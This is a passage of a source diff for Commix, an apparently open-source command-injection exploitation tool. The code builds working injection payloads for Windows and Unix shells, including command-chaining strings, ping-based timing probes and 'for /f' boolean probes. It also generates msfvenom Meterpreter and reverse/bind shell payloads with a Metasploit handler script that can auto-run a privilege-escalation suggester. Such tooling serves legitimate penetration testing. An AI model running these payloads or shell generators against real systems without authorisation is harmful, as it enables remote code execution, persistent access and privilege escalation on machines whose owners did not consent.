+cmd.exe at all - ';', a newline and Ctrl-Z do not, so there is no payload to build for those.
+"""
+WINDOWS_SEPARATORS = ("&", "&&", "|", "||", "")
+
+# The separator, where cmd.exe understands it, and nothing where it does not.
+def windows_separator(separator):
+ return separator if separator in WINDOWS_SEPARATORS else None
+
+"""
+The same for a POSIX shell.
+
+Ctrl-Z is cmd.exe's end-of-file and here an ordinary byte: 'xxx\x1aecho foo' is one word, so
+nothing follows it to run. CRLF leaves its carriage return on the end of the line before it, where
+only a command that takes the byte as data survives it - 'sleep 5\r' is an invalid interval and
+'>/tmp/f\r' writes a different file - so what it reaches is a subset of what a bare newline does.
+"""
+def unix_separator(separator):
+ return None if separator in (settings.CTRL_Z, settings.END_LINE.CRLF) else separator
+
+# The separator as the target's shell reads it, and nothing where it reads it as no separator at all.
+def shell_separator(separator):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return windows_separator(separator)
+ return unix_separator(separator)
+
+# Only those, so the attempt count reflects what the target's shell can actually chain on.
+def chainable_separators(separators):
+ return [separator for separator in separators if shell_separator(separator) is not None]
+
+"""
+Report whether the target's shell runs a second command after this separator at all. A name lookup
+can still betray an injection point through one that does not - cmd.exe reads ';' as an argument
+separator, so the payload lands as another argument of the target's own command - but nothing can
+be run through it afterwards.
+"""
+def separator_chains(separator):
+ return shell_separator(separator) is not None
+
+"""
+The operator a payload chains its own commands with, once it has started with the separator under
+test. Unconditional, unlike '||' and '|', so every part runs no matter how the first one ended.
+"""
+WINDOWS_CHAIN = "&"
+
+"""
+What a Windows payload ends with when its last token is a filename or a quoted literal. cmd.exe has
+no comment character, but 'rem' ignores whatever follows it, so anything the target's own command
+line carries after the payload - a closing quote, another argument - lands there instead of inside
+that token.
+"""
+WINDOWS_TAIL = WINDOWS_CHAIN + "rem" + settings.SINGLE_WHITESPACE
+
+"""
+The same tail, chained on whatever the payload itself started with. A payload that reaches for a
+second separator is blocked wherever only its own one gets through, and the separator then reads as
+not injectable.
+"""
+def windows_tail(chain):
+ return chain + "rem" + settings.SINGLE_WHITESPACE
+
+"""
+The same, for a POSIX shell: '#' starts a comment, so an unterminated quote or a leftover argument
+after the payload is read as one too, instead of swallowing the payload's own last token.
+"""
+UNIX_TAIL = settings.SINGLE_WHITESPACE + settings.COMMENT
+
+"""
+End a payload so that whatever the target's own command line carries after it is ignored.
+"""
+def shell_tail():
+ return WINDOWS_TAIL if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TAIL
+
+"""
+End an out-of-band payload on the separator it chains on, not on a comment character the sink has
+to pass as well - one that filters it reads every separator as not injectable. cmd.exe has none, so
+'rem' stands in on that same separator. With no separator to close on, the tail is all there is.
+"""
+def terminate_oob_payload(payload, separator, target_os=None):
+ if not separator:
+ return payload + shell_tail()
+ if (target_os or settings.TARGET_OS) == settings.OS.WINDOWS:
+ return payload + windows_tail(separator)
+ return terminate_payload(payload, separator)
+
+"""
+Hold the answer back for a number of seconds, without starting a PowerShell process.
+
+'ping' waits about a second between echoes, so one more than the delay takes that many seconds. It
+is on every Windows, including the versions that have no 'timeout' command, and it starts at once -
+where a PowerShell launch costs a second or two of its own and varies from call to call, which is
+noise a timing measurement cannot afford.
+"""
+def windows_sleep(timesec):
+ return ("ping -n " + str(int(timesec) + 1) + settings.SINGLE_WHITESPACE + "127.0.0.1"
+ + settings.SINGLE_WHITESPACE + ">nul")
+
+"""
+Whether the decision payload holds the answer back for one candidate length alone. The Windows one
+compares the marker straight back instead of measuring its length, so every candidate is answered
+the same way - and the shape of a sample of those says nothing about a false positive.
+"""
+def decision_is_length_based():
+ return settings.TARGET_OS != settings.OS.WINDOWS
+
+"""
+The delay a time-related payload asks the target for, in seconds. The same on either target: the
+answer is told apart from an undelayed one by a threshold that sits just above the target's own
+response times, so seconds beyond that are paid on every probe of every character for nothing.
+"""
+def injected_delay(timesec):
+ return int(timesec)
+
+"""
+Read a value off a Windows command and hold the answer back when it stands in the given relation
+('EQU', 'GEQ', ...) to the expected one.
+"""
+def windows_probe(chain, cmd, operator, expected, timesec):
+ # Quoted, so that an operator inside the command stays part of it - but left alone when the
+ # command carries double quotes of its own, which cmd.exe would then pair up with the added ones.
+ if "\"" not in cmd:
+ cmd = "\"" + cmd + "\""
+ # The tail matters more here than anywhere else: the delay is asked for by a command that ends in
+ # a redirection, and a closing quote the target's own command line carries after it would be read
+ # as part of the redirect's filename - which fails, so the delay never happens and the answer
+ # comes back on time as if nothing had been injected.
+ # Run through 'cmd /c', or the comparison is lost whenever the payload starts on a pipe: the shell
+ # a pipe spawns for its right-hand side has no command extensions, and 'EQU'/'GEQ' are one - the
+ # test then never runs, no delay is asked for, and the separator reads as not injectable.
+ return (chain +
+ "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator +
+ settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE +
+ windows_sleep(timesec) + windows_tail(chain))
+
+"""
+The same comparison, answering by printing rather than by waiting.
+
+cmd.exe hands no exit status back to a page that shows only what a command printed, so what says yes
+is a marker on the page and what says no is its absence - read as the difference between two pages,
+never for what it spells.
+"""
+def windows_boolean_probe(chain, cmd, operator, expected):
+ if "\"" not in cmd:
+ cmd = "\"" + cmd + "\""
+ return (chain +
+ "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator +
+ settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE +
+ "echo " + settings.BOOLEAN_MARKER + windows_tail(chain))
+
+"""
+Report whether an interaction carries the result of the sum the payload asked the target to work
+out. Without a sum to check, any interaction counts.
+"""
+def oob_proof_holds(interactions, expected):
+ if not expected:
+ return bool(interactions)
+ """
+ Compared without regard to case, because a name lookup is not guaranteed to arrive spelled the way
+ it was sent - a resolver is free to change the case of what it forwards, which is the same reason
+ the output a lookup carries is encoded in lowercase hex before it goes out.
+ """
+ expected = expected.lower()
+ for interaction in interactions:
+ # A lookup has no request line to read: what it carries is the name that was resolved, and the
+ # sum rides in a label of its own in front of the token.
+ if (interaction.protocol or "").lower() == "dns":
+ if expected in (interaction.identifier or "").lower():
+ return True
+ continue
+ lines = (interaction.raw_request or "").splitlines()
+ # Only the request line, so that a number appearing in a header cannot stand in for the result.
+ if lines and expected in lines[0].lower():
+ return True
+ return False
+
+"""
+Return the body of a raw HTTP request captured by an out-of-band server.
+"""
+def oob_request_body(raw_request):
+ if not raw_request:
+ return ""
+ for delimiter in ("\r\n\r\n", "\n\n"):
+ if delimiter in raw_request:
+ return raw_request.split(delimiter, 1)[1]
+ return ""
+
+"""
+Append the separator once more if a custom injection marker changed where the payload lands - the shared tail repeated across every payloads.py.
+"""
+def terminate_payload(payload, separator, keep_output=False):
+ """
+ End a payload so the target's own command line cannot run into it.
+
+ What follows the injection point is the rest of the application's command, and a payload ending
+ in a redirection hands it straight to the command as further arguments - which 'echo' accepts
+ and writes, while most other commands refuse outright and give nothing back.
+
+ Closed with the separator the payload is already chaining on, so what follows runs as a command
+ of its own rather than as arguments to this one. Nothing new is introduced to be filtered: the
+ payload ends with the one separator it is testing.
+
+ What that takes differs by separator. ";", a newline and "&" end a command on their own, so the
+ remainder simply becomes the next one. "&&", "||" and "|" are binary and need something on their
+ right: the remainder usually provides it, but where the payload is the last thing in the value
+ there is nothing to provide, and the shell is handed an unfinished line. A ":" closes those -
+ it does nothing, and reads whatever follows as arguments it ignores.
+ """
+ # Nothing to terminate: a separator this technique has no payload for is left empty, and the
+ # callers read that emptiness as "not supported" - a lone separator would read as a payload.
+ if not payload:
+ return payload
+ if settings.CUSTOM_INJECTION_MARKER:
+ return payload + separator
+ # A pipe hands this payload's own output to whatever comes next, and a technique that reads its
+ # result out of the response needs that output to reach the response instead.
+ if keep_output and separator == settings.PIPE_SEPARATOR:
+ return payload
+ return payload + separator + (settings.NO_OPERATION if separator in settings.BINARY_SEPARATORS else "")
+
+"""
+Rewrite LF characters in a file-based payload for header-based injection modes, or CRLF-normalize for non-Windows targets - the shared "new line fixation" logic in fb_payloads.py.
+"""
+def fix_newlines_for_headers(payload, separator):
+ if settings.USER_AGENT_INJECTION or settings.REFERER_INJECTION or settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION:
+ return payload.replace(settings.END_LINE.LF, separator)
+ if settings.TARGET_OS != settings.OS.WINDOWS:
+ return payload.replace(settings.END_LINE.LF, settings.END_LINE.CR)
+ return payload
+
+"""
+Generate an msfvenom payload and write its multi/handler .rc launcher, returning the payload's raw output - the shared logic behind bind_tcp.py's/reverse_tcp.py's PHP and Python meterpreter/bind shell options.
+"""
+def generate_msf_payload(payload, output, host_key, host_value, extra_msfvenom_args, strip_newlines):
+ subprocess.Popen(
+ "msfvenom -p " + str(payload) +
+ " " + host_key + "=" + str(host_value) +
+ " LPORT=" + str(settings.LPORT) +
+ extra_msfvenom_args + " -o " + output + settings.NO_OUTPUT,
+ shell=True
+ ).wait()
+
+ with open(output, "r+" if strip_newlines else "r") as content_file:
+ data = ''.join(content_file.readlines())
+ if strip_newlines:
+ data = data.replace(settings.END_LINE.LF, settings.SINGLE_WHITESPACE)
+
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ os.remove(output)
+
+ with open(output, 'w+') as filewrite:
+ filewrite.write(
+ "use exploit/multi/handler" + settings.END_LINE.LF +
+ "set payload " + payload + settings.END_LINE.LF +
+ "set " + host_key.lower() + " " + str(host_value) + settings.END_LINE.LF +
+ "set lport " + str(settings.LPORT) + settings.END_LINE.LF +
+ priv_esc_autorun_line(payload) +
+ "exploit" + settings.END_LINE.LF * 2
+ )
+ return data
+
+"""
+'--priv-esc': the handler line that runs Metasploit's own local-exploit-suggester post module
+against a Meterpreter session the instant it opens - nothing to add for a plain (non-Meterpreter)
+shell, which Metasploit tracks as a session but has no post-module compatibility with.
+"""
+def priv_esc_autorun_line(payload):
+ if menu.options.priv_esc and "meterpreter" in payload:
+ return "set AutoRunScript post/multi/recon/local_exploit_suggester" + settings.END_LINE.LF
+ return ""
+
+"""
+Message regarding the MSF handler.
+"""
+def msf_launch_msg(output):
+ info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if menu.options.priv_esc:
+ info_msg = "Once a session opens, 'post/multi/recon/local_exploit_suggester' runs against it automatically ('--priv-esc')."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ info_msg = "Once the loading finishes, press any key here to continue..."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ sys.stdin.readline().replace(settings.END_LINE.LF, "")
+ # Remove the ouput file.
+ os.remove(output)
+
+"""
+Set up the PHP working directory on the target host.
+"""
+def set_php_working_dir():
+ while True:
+ message = "Do you want to use '" + settings.WIN_PHP_DIR
+ message += "' as PHP working directory on the target host? [Y/n] "
+ php_dir = common.read_input(message, default="Y", check_batch=True)
+ if php_dir in settings.CHOICE_YES:
+ break
+ elif php_dir in settings.CHOICE_NO:
+ message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') "
+ settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True)
+ settings.USER_DEFINED_PHP_DIR = True
+ break
+ else:
+ common.invalid_option(php_dir)
+ pass
+
+"""
+Set up the Python working directory on the target host.
+"""
+def set_python_working_dir():
+ while True:
+ message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
+ message += "' as default Python interpreter on the target host? [Y/n] "
+ python_dir = common.read_input(message, default="Y", check_batch=True)
+ if python_dir in settings.CHOICE_YES:
+ break
+ elif python_dir in settings.CHOICE_NO:
+ message = "Please specify the full path to the Python interpreter executable (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') "
+ custom_interpreter = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
+ # A blank answer keeps the interpreter already in use, which the payloads concatenate as a string.
+ if custom_interpreter and custom_interpreter.strip():
+ settings.WIN_PYTHON_INTERPRETER = custom_interpreter.strip()
+ settings.USER_DEFINED_PYTHON_DIR = True
+ break
+ else:
+ common.invalid_option(python_dir)
+ pass
+
+"""
+Check if to use '/bin' standard subdirectory
+"""
+"""
+A random path under '/tmp' - a fixed name would clash between concurrent sessions and is trivially predictable.
+"""
+def random_tmp_path(length=5):
+ return "/tmp/" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
+
+# Ask once whether the target keeps its shell binaries under '/bin/'.
+def use_bin_subdir(nc_alternative, shell):
+ # Asked once per run - every "run" re-asking the same question is just noise.
+ while settings.USE_BIN_SUBDIR_CHOICE is None:
+ message = "Use '/bin/' as the path prefix for shell and netcat? [y/N] "
+ enable_bin_subdir = common.read_input(message, default="N", check_batch=True)
+ if enable_bin_subdir in settings.CHOICE_YES :
+ settings.USE_BIN_SUBDIR_CHOICE = True
+ elif enable_bin_subdir in settings.CHOICE_NO:
+ settings.USE_BIN_SUBDIR_CHOICE = False
+ elif enable_bin_subdir in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(enable_bin_subdir)
+ pass
+
+ if settings.USE_BIN_SUBDIR_CHOICE:
+ return "/bin/" + nc_alternative, "/bin/" + shell
+ return nc_alternative, shell
+
+"""
+Set up the Python interpreter on linux target host.
+"""
+def set_python_interpreter():
+ while True:
+ message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
+ message += "' as default Python interpreter on the target host? [Y/n] "
+ python_interpreter = common.read_input(message, default="Y", check_batch=True)
+ if python_interpreter in settings.CHOICE_YES:
+ break
+ elif python_interpreter in settings.CHOICE_NO:
+ message = "Please specify the full filesystem path of a custom Python interpreter to use (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') "
+ settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
+ settings.USER_DEFINED_PYTHON_INTERPRETER = True
+ break
+ else:
+ common.invalid_option(python_interpreter)
+ pass
+
+"""
+Every bind/reverse shell payload template hardcodes IPv4 (socket.AF_INET, no bracket syntax), so an IPv6 literal would silently generate a broken payload - reject it instead.
+"""
+def _is_ipv6(value):
+ try:
+ socket.inet_pton(socket.AF_INET6, value)
+ return True
+ except (OSError, socket.error):
+ return False
+
+"""
+Hostnames are allowed, shell metacharacters are not.
+"""
+def _validate_host_or_path(option_name, value):
+ if re.match(r'^[A-Za-z0-9.\-:_/]+$', value) is None:
+ err_msg = "The provided " + option_name + " value contains characters that are not allowed (only letters, digits, '.', '-', ':', '_', '/')."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return False
+ if value.isdigit():
+ err_msg = "'" + value + "' looks like a port number, not a valid " + option_name + " host/IP - did you mean to use 'set lport'?"
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return False
+ if _is_ipv6(value):
+ err_msg = "IPv6 addresses are not currently supported for '" + option_name + "' - use an IPv4 address or hostname."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return False
+ return True
+
+"""
+check / set rhost option for bind TCP connection
+"""
+def check_rhost(rhost):
+ if not _validate_host_or_path("RHOST", rhost):
+ return False
+
+ settings.RHOST = rhost
+ settings.print_data_to_stdout("RHOST => " + settings.RHOST)
+ return True
+
+"""
+check / set lhost option for reverse TCP connection
+"""
+def check_lhost(lhost):
+
+ if not _validate_host_or_path("LHOST", lhost):
+ return False
+
+ settings.LHOST = lhost
+ settings.print_data_to_stdout("LHOST => " + settings.LHOST)
+ return True
+
+"""
+Validate a port is a plain base-10 integer within the valid TCP port range (1-65535) - float() alone would silently accept 'nan'/'inf'/negatives/decimals/out-of-range values as a usable port.
+"""
+def _validate_port(port):
+ if re.match(r'^\d+$', port) is None or not (1 <= int(port) <= 65535):
+ err_msg = "The provided port must be numeric and in the 1-65535 range (i.e. 1234)."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return False
+ return True
+
+"""
+check / set lport option for reverse TCP connection
+"""
+def check_lport(lport):
+ if not _validate_port(lport):
+ return False
+ settings.LPORT = lport
+ settings.print_data_to_stdout("LPORT => " + settings.LPORT)
+ return True
+
+"""
+check / set srvport option for reverse TCP connection
+"""
+def check_srvport(srvport):
+ if not _validate_port(srvport):
+ return False
+ settings.SRVPORT = srvport
+ settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT)
+ return True
+
+"""
+check / set uripath option for reverse TCP connection
+"""
+def check_uripath(uripath):
+ settings.URIPATH = uripath
+ settings.print_data_to_stdout("URIPATH => " + settings.URIPATH)
+ return True
+
+"""
+check / set handler option - catch the shell with a built-in listener instead of an external nc/ncat.
+"""
+def check_handler(value):
+ value = value.strip().lower()
+ if value in settings.CHOICE_YES or value in ("on", "1", "true"):
+ settings.HANDLER = True
+ elif value in settings.CHOICE_NO or value in ("off", "0", "false"):
+ settings.HANDLER = False
+ else:
+ err_msg = "The 'HANDLER' option accepts on/off (or yes/no, true/false)."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ return False
+ settings.print_data_to_stdout("HANDLER => " + ("on" if settings.HANDLER else "off"))
+ return True
+
+"""
+True when a target is within the scope given via the '--scope' option.
+"""
+def in_scope(url):
+ if not menu.options.scope or not url:
+ return True
+ if re.search(menu.options.scope, url, re.I):
+ return True
+ # A target can be met more than once (crawling, redirections), so count it just the once.
+ already_skipped = url in settings.SKIPPED_OUT_OF_SCOPE
+ settings.SKIPPED_OUT_OF_SCOPE.add(url)
+ if not already_skipped and settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping out of scope target '" + url + "'."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return False
+
+"""
+The command a payload prints a command's output with.
+
+'printf' prints its arguments as they are, where 'echo' reads backslashes as escapes on some shells
+and a leading '-n' as an option on all of them. Each payload uses only one of the two, and the
+tamper script that trades 'printf' for 'echo' sets PRINT_WITH_ECHO for these to write 'echo'.
+"""
+# Several words, one space to each - the joining 'echo' does, in a format picked once per run.
+# 'with_echo' names the printing for this one call, where the caller is writing both deliberately
+# rather than printing the way the run prints; left out, the run's own choice stands.
+def print_words(words, with_echo=None):
+ if settings.PRINT_WITH_ECHO if with_echo is None else with_echo:
+ return "echo " + words
+ return "printf " + settings.RANDOM_PRINTF_FORMAT + " " + words
+
+# One argument, printed as it is - with no line break behind it in either form, so both write the same.
+def print_value(value):
+ if settings.PRINT_WITH_ECHO:
+ return "echo -n " + value
+ return "printf %s " + value
+
+# A marker, a word of letters only.
+def print_marker(word):
+ if settings.PRINT_WITH_ECHO:
+ return "echo " + word
+ return "printf " + word
+
+"""
+Note which of the two printings the heuristic test came back with, where it came back with one of
+them only.
+
+Both went out in the one request, so an answer carrying one and not the other is the target's own
+word on which it still lets through - suggestive rather than settled, since each went behind its
+own separator and a separator the target does not take answers the same as a name it refuses. Read
+as what is worth trying next, which is what the pass that reaches for the tamper script asks.
+"""
+def note_printer_that_answered(page):
+ patterns = settings.BASIC_COMMAND_INJECTION_RESULTS
+ if not patterns or not page:
+ return
+ answered = [name for name in ("echo", "printf") if patterns.get(name) and re.search(patterns[name], page)]
+ settings.PRINTER_ANSWERED = answered[0] if len(answered) == 1 else None
+
+"""
+Whether there is an exact reading of the output to ask for on this target at all.
+
+Only the classic payload against a Unix-like shell has one: a Windows target is read through
+'for /f', which hands the output back line by line whatever is asked, and the payload built for an
+alternative interpreter marks its own line breaks and has no plainer form to be told apart from. A
+substitution that cannot hold another one cannot hold the 'awk' call either, and a tamper script
+has the exact reading taken out of the payload altogether - the quoting it asks for is a level
+deeper than the scripts take apart.
+
+Asked of the same conditions the payload is built under, so that a question is never put to the
+user where answering yes would send the very payload that was sent already.
+"""
+def exact_output_exists():
+ return (settings.TARGET_OS != settings.OS.WINDOWS and not menu.options.interpreter
+ and substitution_nests() and not any(settings.TAMPER_SCRIPTS.values()))
+
+"""
+Settle, before the first command the user asked for, how this target's command output is read - once,
+so that every command after it runs a single time, in the one form.
+
+The plain reading hands the output back as the shell's own word splitting leaves it: every run of
+whitespace a single space, and the line breaks gone with them. The exact reading hands it back as
+it was printed, at the cost of a payload several times the length spelling out 'awk', 'LC_ALL',
+'BEGIN', 'gsub' and 'ARGV' - every one a word a filter in front of the target can be watching for.
+So it is the user's to ask for, and asked before anything runs: told over an output already read,
+the only way to read that output exactly is to run the command again, and a command with an effect
+of its own - an append, a deletion - would have it twice.
+
+The target is asked first whether it has 'awk' at all, by name and without running it. Where it
+does not, there is no exact reading to offer and nothing is asked. Under '--batch' the answer is the
+plain reading, so neither the question nor the check that would come before it is sent - unless
+'--answers' names this question with a yes, which is the user asking for it in advance.
+"""
+def decide_exact_output(technique, read):
+ if (technique != settings.INJECTION_TECHNIQUE.RESULTS_BASED or settings.EXACT_OUTPUT_CHOICE is not None
+ or not settings.EXPLOITATION_STARTED or not exact_output_exists()):
+ return
+ settings.EXACT_OUTPUT_CHOICE = False
+ message = "Do you want to preserve whitespace in command output? (more complex payloads) [y/N] "
+ # Under '--batch' only an answer given by name for this question is reason to send anything.
+ if menu.options.batch and str(common.predefined_answer(message) or "").lower() != "y":
+ return
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking whether the target has 'awk', which reading command output exactly needs."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ if not (read(settings.AWK_PRESENCE_CHECK) or "").strip():
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The target has no 'awk', so command output is read the plain way."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return
+ answer = common.read_input(message, default="N", check_batch=True)
+ settings.EXACT_OUTPUT_CHOICE = str(answer).lower() == "y"
+ settings.RESULTS_BASED_EXACT_OUTPUT = settings.EXACT_OUTPUT_CHOICE
+
+# eof
diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py
new file mode 100644
index 0000000000..1ef01ddaa2
--- /dev/null
+++ b/src/core/controller/controller.py
@@ -0,0 +1,2108 @@
+#!/usr/bin/env python
+# encoding: UTF-8
+
+"""
+This file is part of Commix Project (https://commixproject.com).
+Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+For more see the file 'readme/COPYING' for copying permission.
+"""
+
+import re
+import os
+import time
+import random
+import string
+from src.core.parse import cmdline as menu
+from src.utils import logs
+from src.utils import settings
+from src.utils import common
+from src.utils import session_handler
+from src.core.requests import headers
+from src.core.requests import requests
+from src.core.requests import parameters
+from src.core.modules import modules_handler
+from src.core.requests import authentication
+from src.core.controller import checks
+from src.thirdparty.six.moves import urllib as _urllib
+from src.core.techniques.time_based import tb_handler
+from src.core.techniques.oob import oob_handler
+from src.core.techniques.file_based import fb_handler
+from src.core.techniques.tempfile_based import tfb_handler
+from src.core.techniques.results_based import rb_handler
+from src.core.techniques.boolean_based import bb_handler
+from src.core.eval import eb_handler
+
+"""
+Command Injection and exploitation controller.
+Checks if the testable parameter is exploitable.
+"""
+
+"""
+Generate fresh operands and markers per call; match the markers around the computed value to avoid false positives.
+"""
+def basic_payload_generator():
+ rand_a = random.randint(1, 10000)
+ rand_b = random.randint(1, 10000)
+ calc_string = str(rand_a) + "+" + str(rand_b)
+ marker1 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ marker2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ marker3 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ # A pair of markers to each repetition below, rather than the one pair to all three, so the
+ # repetition that answered can be told from the ones that did not.
+ marker4 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ marker5 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ marker6 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+ marker7 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))
+
+ suffix = ""
+ if checks.using_backticks():
+ # 'expr' wants its operands as separate arguments - given one, it echoes the string back
+ # instead of adding anything up.
+ prefix = "expr "
+ calc_string = str(rand_a) + settings.SINGLE_WHITESPACE + "+" + settings.SINGLE_WHITESPACE + str(rand_b)
+ else:
+ prefix = "("
+ suffix = ")"
+
+ if settings.SKIP_CALC:
+ # '--skip-calc' covers the detection phase, and the heuristic is part of it - so what the target
+ # has to print back between the markers is a marker it had to run a command to produce.
+ expected = marker3
+ settings.BASIC_STRING = checks.print_marker(marker3)
+ windows_proof = "echo " + marker3
+ alter_interpreter_basic_string = " -c \"print('" + marker3 + "')\""
+ else:
+ expected = str(rand_a + rand_b)
+ settings.BASIC_STRING = prefix + calc_string + suffix
+ windows_proof = "set /a " + settings.BASIC_STRING
+ alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\""
+
+ """
+ The same proof behind each separator, and - where nothing has chosen the printing for this run -
+ not all three printed with the same name.
+
+ Both names go into payloads elsewhere one at a time, so a target refusing either refuses every
+ payload carrying it, this test's own included, and the run reads as a parameter with no way in
+ rather than as a name being turned away. Written here with both, each repetition behind its own
+ pair of markers: the repetition that comes back names what the target still prints with, and the
+ test answers at all where it would otherwise have come back empty. The separator varies with it,
+ so which of the two did the work is not settled by one answer - it is read as what is worth
+ trying, not as what was proven. Left alone where the run has a printing of its own, asked for or
+ adopted, since putting the other name back is the opposite of what the script was loaded for.
+
+ The other name goes last rather than in the middle. Written ';A&B|C', the shell hands B's output
+ to C instead of to the page, so B is the one repetition nothing can be read from - measured, the
+ three print 'A C' and never B. The two that are read are the first and the last, so those are
+ the two that carry a name each.
+ """
+ echoed = (True, True, True) if settings.PRINT_WITH_ECHO else (False, False, True)
+ pairs = ((marker1, marker2), (marker4, marker5), (marker6, marker7))
+ proofs = [checks.print_words(opening + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + closing, with_echo=as_echo)
+ for (opening, closing), as_echo in zip(pairs, echoed)]
+ settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";" + proofs[0] + "&" + proofs[1] + "|" + proofs[2],
+ "|echo " + marker1 + "&" + windows_proof + "&echo " + marker2 +
+ "&echo " + marker1 + "&" + windows_proof + "&echo " + marker2
+ ]
+ settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 +
+ "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 +
+ "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2,
+ "|echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 +
+ "&echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2
+ ]
+ def _answer(pair):
+ return re.escape(pair[0]) + r"\s*" + re.escape(expected) + r"\s*" + re.escape(pair[1])
+ # Kept by the name each repetition printed with, so an answer carrying one and not the other says
+ # which is still getting through; the whole of it is what the test itself is read against.
+ settings.BASIC_COMMAND_INJECTION_RESULTS = {"echo": "|".join(_answer(pair) for pair, as_echo in zip(pairs, echoed) if as_echo),
+ "printf": "|".join(_answer(pair) for pair, as_echo in zip(pairs, echoed) if not as_echo)}
+ settings.BASIC_COMMAND_INJECTION_RESULT = "|".join(_answer(pair) for pair in pairs)
+
+"""
+Initializing basic level check status
+"""
+def basic_level_checks():
+ settings.TIME_RELATED_ATTACK = False
+ settings.SKIP_CODE_INJECTIONS = None
+ settings.SKIP_COMMAND_INJECTIONS = None
+ settings.IDENTIFIED_COMMAND_INJECTION = False
+ settings.IDENTIFIED_WARNINGS = False
+ settings.IDENTIFIED_EVAL_PROBE = False
+
+"""
+Take the state one parameter's testing leaves behind back to what it was before.
+
+What was learned about one parameter is not the next one's: a technique that answered for it, and a
+value of its own that turned out not to be needed, would otherwise still be standing when the next
+parameter is judged - and the verdict on that parameter read off them.
+"""
+def reset_parameter_state():
+ # The other technique states are put back as each technique starts; this one is reached as a
+ # fallback from the file-based technique instead, so nothing else clears it.
+ settings.TEMPFILE_BASED_STATE = False
+ # How one parameter carried its value says nothing about how the next one carries its own.
+ settings.VALUE_ENCODING = None
+ # Whether a parameter needs the value it was given is asked of that parameter alone.
+ settings.TESTABLE_VALUE_OPTIMIZED = False
+ # And what stood in for the last parameter's value says nothing about this one's, which is tested
+ # with its own until a probe of its own drops it - a finding of this parameter's written out with
+ # the last one's value in front of it names a request nobody sent.
+ settings.TESTABLE_VALUE_STOOD_IN_FOR = ""
+ # Narrowed below for one parameter at a time, and put back here so the next one is tested with
+ # the techniques the run was given rather than with what the last parameter settled on.
+ if settings.TECHNIQUES_BEFORE_NARROWING is None:
+ settings.TECHNIQUES_BEFORE_NARROWING = menu.options.tech
+ else:
+ menu.options.tech = settings.TECHNIQUES_BEFORE_NARROWING
+
+"""
+Initializing HTTP Headers parameters injection status
+"""
+def init_http_header_injection_status():
+ settings.HTTP_HEADERS_INJECTION = None
+ settings.USER_AGENT_INJECTION = None
+ settings.REFERER_INJECTION = None
+ settings.HOST_INJECTION = None
+
+"""
+Initializing Cookie parameters injection status
+"""
